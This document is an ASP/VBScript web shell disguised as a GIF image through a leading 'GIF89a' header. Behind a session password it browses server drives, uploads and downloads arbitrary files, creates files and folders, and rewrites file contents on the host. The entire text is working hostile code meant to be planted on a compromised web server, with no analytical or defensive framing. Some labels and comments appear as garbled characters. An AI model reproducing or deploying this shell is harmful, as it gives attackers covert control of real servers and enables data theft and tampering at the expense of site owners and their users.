GIF89a<%@ LANGUAGE = VBScript.Encode %> <%gl=rq("gl"):if gl<>"" then Session("gl")=gl Response.Clear:echo "file " pwd1="file":if Session("gl")="file" then if left(aduser,4)="fso:" then fso=mid(aduser,5) else fso="scripting.filesystemobject" end if echo fso AdodbS="Adodb.Stream" on error resume next bbf=chr(13)&chr(10):y=chr(34):self=Request("URL") function echo(lpstr):response.write lpstr:end function function rq(lpstr):rq=request(lpstr):end function function close():echo "":response.end:end function echo ""&bbf echo ""&bbf if not isobject(fs) then set fs= server.createobject(fso) if fdo="" then fdo=lcase(request("fdo")) fp1=request("fp1") fp2=request("fp2") if fdo="up" and Request.TotalBytes>20 then set dr1=server.CreateObject(AdodbS):dr1.Mode=3:dr1.Type=1:dr1.Open set dr2=server.CreateObject(AdodbS):dr2.Mode=3:dr2.Type=1:dr2.Open lnBytes=Request.BinaryRead(Request.TotalBytes) SignLen=Instrb(1,lnBytes,CStrB(bbf))-1 Sign=MidB(lnBytes,1,SignLen) fname=tractName(getfilename()) 'և fp1=getvalue("fp1") '< if fname<>"" and fp1<>"" then savefile(fp1&fname) else echo " !" end if dr1.Close dr2.Close set dr1=nothing set dr2=nothing response.redirect self&"?fp1="&parentdir(fp1&"\") end if if fdo="down" then downFile(fp1) response.end end if if fdo="adddir" then fp1=pn(fp1):fs.createfolder(fp1) response.redirect self&"?fp1="&fp1&"\" end if if fdo="newfile" then fp1=pn(fp1):if not fs.fileExists(fp1) then fs.createtextfile(fp1) response.redirect self&"?fp1="&parentdir(fp1&"\") end if if fdo="sedit" then fs.getfile(fp1).attributes=32 fs.CreateTextFile(fp1).Write replace(Request("fp2"),"<_/"&"textarea>","") echo "":response.end end if if fdo="gedit" then att=fs.getfile(fp1).attributes echo "

" echo "
>" response.end end if ' if request("fp1")<>"" then session("fp1")=request("fp1") if fp1="" then fp1=session("fp1") echo "" echo "
" echo "
" for each d in fs.drives '& drv=d.DriveLetter echo ""&drv&Tran(d.DriveType)&"  " next n=parentdir(fp1) echo "" echo "
" fp1=replace(fp1,"\","/") echo "[ U]" echo "[QU]" fp1=replace(fp1,"/","\") if fp1="" then response.end if n<>"" then echo "[..]" echo "
" Set fdir=fs.GetFolder(fp1) 'U fp1=replace(fp1,chr(38),"%26") c=0:For each n in fdir.SubFolders c=c+1:echo "["&n.name&"]" Next echo "
;q"&c&"*
" function getvalue(lpitem) pstr="name="&chr(34)&lpitem&chr(34) startpos=instrb(1,lnBytes,CstrB(pstr)) if startpos<2 then getvalue="":exit function startpos=instrb(startpos,lnBytes,CstrB(bbf&bbf))+4 EndPos=instrb(startpos,lnBytes,Sign)-2 getvalue=BtoS(midb(lnBytes,startpos,EndPos-startpos)) end function function getfdata() dim lpdata(1) startpos=instrb(1,lnBytes,CstrB("filename=""")) if startpos<2 then getfdata="":exit function startpos=instrb(startpos,lnBytes,CStrB(bbf&bbf))+4 EndPos=instrb(startpos,lnBytes,Sign)-2 getfdata=(startpos-1)&","&(EndPos-startpos) end function function savefile(lpFileName) fdata=getfdata() fdata=split(fdata,",") if fdata(0)<1 or fdata(1)<1 then savefile=-1:exit function dr1.write lnBytes dr1.position=fdata(0) dr1.copyto dr2,fdata(1) dr2.SaveToFile lpFileName,2 end function function getfilename() startpos=instrb(1,lnBytes,CstrB("filename="&chr(34)))+10 if startpos<2 then getfilename="":exit function EndPos=instrb(startpos,lnBytes,CstrB("""")) getfilename=BtoS(midb(lnBytes,startpos,EndPos-startpos)) end function Function BtoS(Binstr) skipflag=0 strC="" If Not IsNull(binstr) Then lnglen=LenB(binstr) For ix=1 To lnglen If skipflag=0 Then tmpBin=MidB(binstr,ix,1) If AscB(tmpBin)>127 Then strC=strC&Chr(AscW(MidB(binstr,ix+1,1)&tmpBin)) skipflag=1 Else strC=strC&Chr(AscB(tmpBin)) End If Else skipflag=0 End If Next End If BtoS = strC End Function Function CStrB(ByRef psUnicodeString) Dim lnLength Dim lnPosition lnLength = Len(psUnicodeString) For lnPosition = 1 To lnLength CStrB = CStrB & ChrB(AscB(Mid(psUnicodeString, lnPosition, 1))) Next End Function Function tractName(lpfilename) nlen=len(lpfilename) For lpx = nlen To 1 step -1 if mid(lpfilename,lpx,1)="\" then tractName=mid(lpfilename,lpx+1,100) exit Function end if Next tractName="" End Function function parentdir(t) t=replace(t,"/","\") ls=split(t,"\") for x=0 to ubound(ls)-2 parentdir=parentdir+ls(x)&"\" next parentdir=replace(parentdir,chr(38),"%26") End function function pn(t) pn=replace(t,"/","\") if right(pn,1)="\" then pn=left(pn,len(pn)-1) if right(pn,1)="\" then pn=left(pn,len(pn)-1) End function function downFile(strFile) Response.Buffer = True Response.Clear Set s=Server.CreateObject(AdodbS) s.Open s.Type=1 if not fs.FileExists(strFile) then Response.Write(strFile&" X("):Response.End Set f=fs.GetFile(strFile) intFilelength=f.size s.LoadFromFile(strFile) if err then Response.Write(":"&err.Description):Response.End Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite s.Read response.flush response.clear s.Close Set s = Nothing End Function function Tran(drv) select case drv:case 0:Tran="*":case 1:Tran="o":case 2:Tran="l" case 3:Tran="Q":case 4:Tran="I":case 5:Tran="RAM":end select:end function response.end end if %>